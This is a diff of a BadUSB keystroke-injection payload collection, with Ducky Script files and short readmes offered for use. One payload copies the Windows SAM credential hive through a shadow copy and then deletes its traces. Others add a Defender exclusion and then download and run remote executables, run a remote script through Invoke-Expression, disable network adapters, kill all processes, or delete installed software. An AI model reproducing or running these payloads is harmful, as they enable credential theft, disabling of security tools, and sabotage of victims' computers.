REM Description: Extracts Security Account Manager of the PC to a file.
REM Version: 1.0
REM Category: Exfiltration
DELAY 750
GUI r
DELAY 1000
STRING powershell Start-Process notepad -Verb runAs
ENTER
DELAY 750
ALT y
DELAY 750
ENTER
ALT SPACE
DELAY 1000
STRING m
DELAY 1000
DOWNARROW
REPEAT 100
ENTER
STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss')
ENTER
STRING $userDir = (Get-ChildItem env:\userprofile).value + '\Ducky Report ' + $folderDateTime
ENTER
STRING $fileSaveDir = New-Item ($userDir) -ItemType Directory
ENTER
STRING $date = get-date
ENTER
STRING $style = "<style> table td{padding-right: 10px;text-align: left;}#body {padding:50px;font-family: Helvetica; font-size: 12pt; border: 10px solid black;background-color:white;height:100%;overflow:auto;}#left{float:left; background-color:#C0C0C0;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#right{background-color:#C0C0C0;float:right;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#center{background-color:#C0C0C0;width:98%;height:300px;border: 4px solid black;padding:10px;overflow:scroll;margin:10px;} </style>"
ENTER
STRING $Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo.html'
ENTER
STRING $Report = $Report + "<div id=body><h1>Duck Tool Kit Report</h1><hr size=2><br><h3> Generated on: $Date </h3><br>"
ENTER
STRING $createShadow = (gwmi -List Win32_ShadowCopy).Create('C:\', 'ClientAccessible')
ENTER
STRING $shadow = gwmi Win32_ShadowCopy | ? { $_.ID -eq $createShadow.ShadowID }
ENTER
STRING $addSlash = $shadow.DeviceObject + '\'
ENTER
STRING cmd /c mklink C:\shadowcopy $addSlash
ENTER
STRING Copy-Item 'C:\shadowcopy\Windows\System32\config\SAM' $fileSaveDir
ENTER
STRING Remove-Item -recurse -force 'C:\shadowcopy'
ENTER
STRING $Report >> $fileSaveDir'/ComputerInfo.html'
ENTER
STRING function copy-ToZip($fileSaveDir){
ENTER
STRING $srcdir = $fileSaveDir
ENTER
STRING $zipFile = 'C:\Windows\Report.zip'
ENTER
STRING if(-not (test-path($zipFile))) {
ENTER
STRING set-content $zipFile ("PK" + [char]5 + [char]6 + ("$([char]0)" * 18))
ENTER
STRING (dir $zipFile).IsReadOnly = $false}
ENTER
STRING $shellApplication = new-object -com shell.application
ENTER
STRING $zipPackage = $shellApplication.NameSpace($zipFile)
ENTER
STRING $files = Get-ChildItem -Path $srcdir
ENTER
STRING foreach($file in $files) {
ENTER
STRING $zipPackage.CopyHere($file.FullName)
ENTER
STRING while($zipPackage.Items().Item($file.name) -eq $null){
ENTER
STRING Start-sleep -seconds 1 }}}
ENTER
STRING copy-ToZip($fileSaveDir)
ENTER
STRING remove-item $fileSaveDir -recurse
ENTER
STRING Remove-Item $MyINvocation.InvocationName
ENTER
CTRL s
DELAY 750
STRING C:\Windows\config-98437.ps1
ENTER
DELAY 1000
ALT F4
DELAY 750
GUI r
DELAY 500
STRING powershell Start-Process cmd -Verb runAs
ENTER
DELAY 1000
ALT y
DELAY 750
STRING mode con:cols=14 lines=1
ENTER
ALT SPACE
DELAY 750
STRING m
DELAY 1000
DOWNARROW
REPEAT 100
ENTER
STRING powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false
ENTER
DELAY 750
STRING powershell.exe -windowstyle hidden -File C:\Windows\config-98437.ps1
ENTER

39
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/SAMexfil/readme.md Normal file
View File

@ -0,0 +1,39 @@
# SAMexfil
This script extracts the Security Account Manager (SAM) of the PC and saves it to a file.
## How to use?
This script is not plug and play. You need to do the following changes:
- change path for the file "-DestinationPath PATH\results-61748762.zip"
## Features
- open powershell
- copy SAM profile
- store it to a file
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

39
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/USB_And_Harddrive_Information/USB_And_Harddrive_Information.txt Normal file
View File

@ -0,0 +1,39 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Saves some general Information about the USB and Harddrives that are/were connected to the target pc and stores them into a file.
REM Version: 1.0
REM Category: Exfiltration
DELAY 750
WINDOWS d
DELAY 900
WINDOWS r
DELAY 900
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 750
LEFTARROW
ENTER
DELAY 900
ALT y
DELAY 900
GUI UP
DELAY 900
STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss');$userDir = (Get-ChildItem env:\userprofile).value + '\Walkuer Ghost ' + $folderDateTime;$fileSaveDir = New-Item ($userDir) -ItemType Directory;$date = get-date;$style = '<style> table td{padding-right: 10px;text-align: left;}#body {padding:50px;font-family: Helvetica; font-size: 12pt; border: 10px solid black;background-color:white;height:100%;overflow:auto;}#left{float:left; background-color:#C0C0C0;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#right{background-color:#C0C0C0;float:right;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#center{background-color:#C0C0C0;width:98%;height:300px;border: 4px solid black;padding:10px;overflow:scroll;margin:10px;} </style>';$Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo-68597243.html';$Report = $Report + '<div id=body><h1>Walkuer Ghost Report</h1><hr size=2><br><h3> Generated on: $Date </h3><br>';$u = 0;$allUsb = @(get-wmiobject win32_volume | select Name, Label, FreeSpace);$Report = $Report + '<div id=right><h3>USB Devices</h3><table>'
ENTER
STRING do {
ENTER
STRING $gbUSB = [math]::truncate($allUsb[$u].FreeSpace / 1GB)
ENTER
STRING $Report = $Report + '<tr><td>Drive Name: </td><td>' + $allUsb[$u].Name + $allUsb[$u].Label + '</td><td>Free Space: </td><td>' + $gbUSB + 'GB</td></tr>'
ENTER
STRING Write-Output $fullUSB
ENTER
STRING $u ++
ENTER
STRING } while ($u -lt $allUsb.Count)
ENTER
STRING $Report = $Report + '</table></div>'
ENTER
STRING $Report >> $fileSaveDir'/ComputerInfo-68597243.html'
ENTER
STRING Compress-Archive -Path $fileSaveDir -DestinationPath PATH TO SAVE FILE HERE\HEREresults-68597243.zip ; exit
ENTER

38
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/USB_And_Harddrive_Information/readme.md Normal file
View File

@ -0,0 +1,38 @@
# USB_And_Harddrive_Information
Saves some general Information about the USB and Harddrives that are/were connected to the target pc and stores them into a file.
## How to use?
This script is not plug and play. You need to do the following changes:
- change the path of the file "-DestinationPath PATH TO SAVE FILE HERE\HEREresults-68597243.zip"
## Features
- open powershell
- get hardware info
- save infos to a file
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

21
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/Win_User_Info/Win_User_Info.txt Normal file
View File

@ -0,0 +1,21 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Saves some general Info about the current Win-User.
REM Version: 1.0
REM Category: Exfiltration
DELAY 750
WINDOWS d
DELAY 900
WINDOWS r
DELAY 900
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 750
LEFTARROW
ENTER
DELAY 900
ALT y
DELAY 900
STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss');$userDir = (Get-ChildItem env:\userprofile).value + '\Walkuer Ghost Report ' + $folderDateTime;$fileSaveDir = New-Item ($userDir) -ItemType Directory;$date = get-date;$style = "<style> table td{padding-right: 10px;text-align: left;}#body {padding:50px;font-family: Helvetica; font-size: 12pt; border: 10px solid black;background-color:white;height:100%;overflow:auto;}#left{float:left; background-color:#C0C0C0;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#right{background-color:#C0C0C0;float:right;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#center{background-color:#C0C0C0;width:98%;height:300px;border: 4px solid black;padding:10px;overflow:scroll;margin:10px;} </style>";$Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo-57059022.html';$Report = $Report + "<div id=body><h1>Walkuer Ghost Report</h1><hr size=2><br><h3> Generated on: $Date </h3><br>";$UserInfo = Get-WmiObject -class Win32_UserAccount -namespace root/CIMV2 | Where-Object {$_.Name -eq $env:UserName}| Select AccountType,SID,PasswordRequired;$UserType = $UserInfo.AccountType;$UserSid = $UserInfo.SID;$UserPass = $UserInfo.PasswordRequired;$IsAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator');$Report = $Report + "<div id=left><h3>User Information</h3><br><table><tr><td>Current User Name:</td><td>$env:USERNAME</td></tr><tr><td>Account Type:</td><td> $UserType</td></tr><tr><td>User SID:</td><td>$UserSid</td></tr><tr><td>Account Domain:</td><td>$env:USERDOMAIN</td></tr><tr><td>Password Required:</td><td>$UserPass</td></tr><tr><td>Current User is Admin:</td><td>$IsAdmin</td></tr></table>";$Report = $Report + "</div>";$Report >> $fileSaveDir'/ComputerInfo-57059022.html'
ENTER
STRING Compress-Archive -Path $fileSaveDir -DestinationPath C:\PATH TO SAVE HERE\FILEresults-57059022.zip ; exit
ENTER

38
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/Win_User_Info/readme.md Normal file
View File

@ -0,0 +1,38 @@
# Win_User_Info
Saves some general Info about the current Win-User and stores it to a file.
## How to use?
This script is not plug and play. You need to do the following changes:
- change the path of the file "C:\PATH TO SAVE HERE\FILEresults-57059022.zip"
## Features
- open powershell
- get win user info
- save info to a file
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

19
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/CarefulWithThis/JustAmongUs/JustAmongUs.txt Normal file
View File

@ -0,0 +1,19 @@
REM Author: AGO061
REM Description: AmongUs takes over the PC!!!
REM Version: 1.0
REM Category: FUN
DELAY 500
GUI r
DELAY 500
STRING powershell Start-Process powershell -Verb runAs
CTRL-SHIFT ENTER
DELAY 1500
SHIFT TAB
DELAY 500
ENTER
DELAY 1500
STRING Add-MpPreference -ExclusionPath C:\Windows\system32
ENTER
DELAY 500
STRING $down=New-Object System.Net.WebClient;$url='https://github.com/AGO061/badusb-payloads/releases/download/SUS-R1/sus.exe';$file='sus.exe'; $down.DownloadFile($url,$file);$exec=New-Object -com shell.application;$exec.shellexecute($file);exit
ENTER

35
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/CarefulWithThis/JustAmongUs/readme.md Normal file
View File

@ -0,0 +1,35 @@
# JustAmongUs
Please be really careful with this. I will not be responsible for any damage. This script can/will damage your OS.
## How to use?
This script is plug and play.
## Features
- download sus.exe
- run sus.exe
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

22
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/CarefulWithThis/RickRoll_IntoBSOD/RickRoll_IntoBSOD.txt Normal file
View File

@ -0,0 +1,22 @@
REM Title: Rick-Roll BSOD
REM Author: FalsePhilosopher + AGO061
REM Target: Win 10+, exe is Windows 7 and up 32/64 bit
REM Props: Hak5, bemxio for creating mario-head https://github.com/bemxio/mario-head, 3ctOs for the PS bits I used https://github.com/3ct0s/badusb-download-execute-disable-windows-defender and memes, AGO061 for making the rickroll version
REM Version: 1.0
REM Category: Prank
REM Display a video of a rick rolll, the video glitches and explodes and invokes a BSOD.
DELAY 400
GUI r
DELAY 500
STRING powershell Start-Process powershell -Verb runAs
CTRL-SHIFT ENTER
DELAY 850
SHIFT TAB
DELAY 500
ENTER
DELAY 1000
STRING Add-MpPreference -ExclusionPath C:\Windows\system32
ENTER
DELAY 500
STRING $down=New-Object System.Net.WebClient;$url='https://github.com/AGO061/rickroll-bsod/releases/download/first-version/rick_dist.exe';$file='rick_dist.exe'; $down.DownloadFile($url,$file);$exec=New-Object -com shell.application;$exec.shellexecute($file);exit
ENTER

35
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/CarefulWithThis/RickRoll_IntoBSOD/readme.md Normal file
View File

@ -0,0 +1,35 @@
# RickRoll_IntoBSOD
Please be really careful with this. I will not be responsible for any damage. This script can/will damage your OS.
## How to use?
This script is plug and play.
## Features
- download rick_dist.exe
- run rick_dist.exe
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

9
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Cartman/Cartman.txt Normal file
View File

@ -0,0 +1,9 @@
REM ---------CARTMAN SPAM----------
REM -- by Mr-Savag3 --- 09162022 --
REM -- updated to 1 line by -------
REM ---------------- I Am Jakoby --
DELAY 500
GUI r
DELAY 600
STRING powershell -w h $k=[Math]::Ceiling(100/2);$o=New-Object -ComObject WScript.Shell;for($i=0;$i -lt $k;$i++){$o.SendKeys([char] 175)}; 1..10|foreach {saps https://www.youtube.com/watch?v=U3sAkAWfxLY;sleep 1;$o.SendKeys('f')}
ENTER

35
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Cartman/readme.md Normal file
View File

@ -0,0 +1,35 @@
# Cartman
Opens a weird cartman clip on youtube and turns the volume up to 100%.
## How to use?
This script is plug and play.
## Features
- open youtube video
- turn volume up
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

18
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Change_Zoom/change_dpi150.txt Normal file
View File

@ -0,0 +1,18 @@
REM Author: UNC0V3R3D
REM Description: Uses the monitor DPI to change the zoom to 150%.
REM Version: 1.0
REM Category: FUN
DELAY 800
GUI r
DELAY 800
STRING powershell Start-Process powershell -Verb runAs
DELAY 800
ENTER
DELAY 800
LEFTARROW
DELAY 800
ENTER
DELAY 500
STRING Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/UNC0V3R3D/resources/main/dpi_code.ps1").Content
DELAY 200
ENTER

31
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Change_Zoom/readme.md Normal file
View File

@ -0,0 +1,31 @@
# Change_Zoom
Uses the monitor DPI to change the zoom to 150%.
## How to use?
This script is plug and play.
## Features
- open powershell
- change monitor dpi
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

12
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/ComputerTalks/ComputerTalks.txt Normal file
View File

@ -0,0 +1,12 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Makes the computer speak
REM Version: 1.0
REM Category: FUN
DELAY 750
WINDOWS d
DELAY 950
WINDOWS r
DELAY 650
STRING powershell.exe -nop -win hidden -c "Add-Type -AssemblyName System.speech; $synth = New-Object System.Speech.Synthesis.SpeechSynthesizer; $synth.Speak('Hello you behind the Screen, I am inside your PC.')"
DELAY 100
ENTER

37
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/ComputerTalks/readme.md Normal file
View File

@ -0,0 +1,37 @@
# ComputerTalks
Makes the computer speak.
## How to use?
This script is not plug and play. You need to do the following changes:
- change the text if you WANT to "$synth.Speak('Hello you behind the Screen, I am inside your PC.')""
## Features
- open powershell
- use system.speech to talk
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

20
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Deactivate_Networkadapters/deactivate_networkadapters.txt Normal file
View File

@ -0,0 +1,20 @@
REM Author: UNC0V3R3D
REM Description: Uses the device manager to deactivate all networkadapters.
REM Version: 1.0
REM Category: FUN
DELAY 800
GUI r
DELAY 800
STRING powershell Start-Process powershell -Verb runAs
DELAY 800
ENTER
DELAY 800
LEFTARROW
DELAY 800
ENTER
DELAY 500
STRING Get-NetAdapter | ForEach-Object { Disable-NetAdapter -Name $_.Name -Confirm:$false }
ENTER
DELAY 1000
STRING exit
ENTER

32
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Deactivate_Networkadapters/readme.md Normal file
View File

@ -0,0 +1,32 @@
# Deactivate_Networkadapters
Uses the device manager to deactivate all networkadapters.
## How to use?
This script is plug and play.
## Features
- open device manager (powershell)
- deactivate adapters
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

20
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Delete_Discord/delete_discord.txt Normal file
View File

@ -0,0 +1,20 @@
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Deletes discord if it exists on the target pc.
REM Version: 1.0
REM Category: Fun
DELAY 500
GUI r
DELAY 300
REM Start PowerShell as Admin
STRING powershell Start-Process powershell -Verb runAs
DELAY 300
ENTER
DELAY 500
LEFTARROW
DELAY 450
ENTER
DELAY 600
REM delete discord
STRING if (Test-Path "C:\Program Files (x86)\Discord") { Remove-Item -Recurse -Force "C:\Program Files (x86)\Discord"; Write-Output "Deleted Discord from $discordPath" } else { Write-Output "Discord is not installed on this computer." }; exit
DELAY 200
ENTER

36
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Delete_Discord/readme.md Normal file
View File

@ -0,0 +1,36 @@
# Delete_discord
Checks if discord is installed on the target, if it is installed it will delete discord.
## How to use?
This script is plug and play.
## Features
- open powershell
- check if discord is installed
- delete discord if exists
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

37
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Destroy_Pc_with_tabs/Destroy_Pc_with_tabs.txt Normal file
View File

@ -0,0 +1,37 @@
REM Author: overwraith
REM Description: Opens a few Tabs...
REM Version: 1.0
REM Category: FUN
DELAY 1200
GUI r
DELAY 400
STRING cmd /Q /D /T:0a /F:OFF /V:OFF /K
DELAY 500
ENTER
DELAY 750
STRING DEL /Q MobileTabs.vbs
ENTER
STRING copy con MobileTabs.vbs
ENTER
STRING on error resume next
ENTER
STRING navOpenInBackgroundTab = &h1000
ENTER
STRING set oIE = CreateObject("InternetExplorer.Application")
ENTER
STRING Set args = WScript.Arguments
ENTER
STRING oIE.Navigate2 args.Item(0)
ENTER
STRING for intx = 1 to args.count
ENTER
STRING oIE.Navigate2 args.Item(intx), navOpenInBackgroundTab
ENTER
STRING next
ENTER
STRING oIE.Visible = true
ENTER
CONTROL z
ENTER
STRING MobileTabs.vbs "http://www.google.com/" "http://mwomercs.com/" "http://hak5.org/" "http://forums.hak5.org/index.php?/forum/56-usb-rubber-ducky/"
ENTER

35
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/Destroy_Pc_with_tabs/readme.md Normal file
View File

@ -0,0 +1,35 @@
# Destroy_Pc_with_tabs
Opens a few tabs... maybe too many.
## How to use?
This script is plug and play.
## Features
- open powershell
- use system.speech to talk
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

17
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/End_Processes/end_processes.txt Normal file
View File

@ -0,0 +1,17 @@
REM Author: UNC0V3R3D
REM Description: Uses the taskmanager and tries to end all processes
REM Version: 1.0
REM Category: FUN
DELAY 800
GUI r
DELAY 800
STRING powershell Start-Process powershell -Verb runAs
DELAY 800
ENTER
DELAY 800
LEFTARROW
DELAY 800
ENTER
DELAY 500
STRING Start-Process taskmgr.exe -WindowStyle Hidden; Get-Process | Where-Object { $_.Name -ne "taskmgr" } | Stop-Process -Force
ENTER

32
BadUSB/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/FUN/End_Processes/readme.md Normal file
View File

@ -0,0 +1,32 @@
# End_Processes
Uses the taskmanager and tries to end all processes
## How to use?
This script is plug and play.
## Features
- open taskmanager
- end all processes
## Feedback
If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662".
## Support
For support, contact me via Discord "UNC0V3R3D#8662".
## Meta
- If you want to sponsor me on Patreon, the link is on my profile.

Some files were not shown because too many files have changed in this diff Show More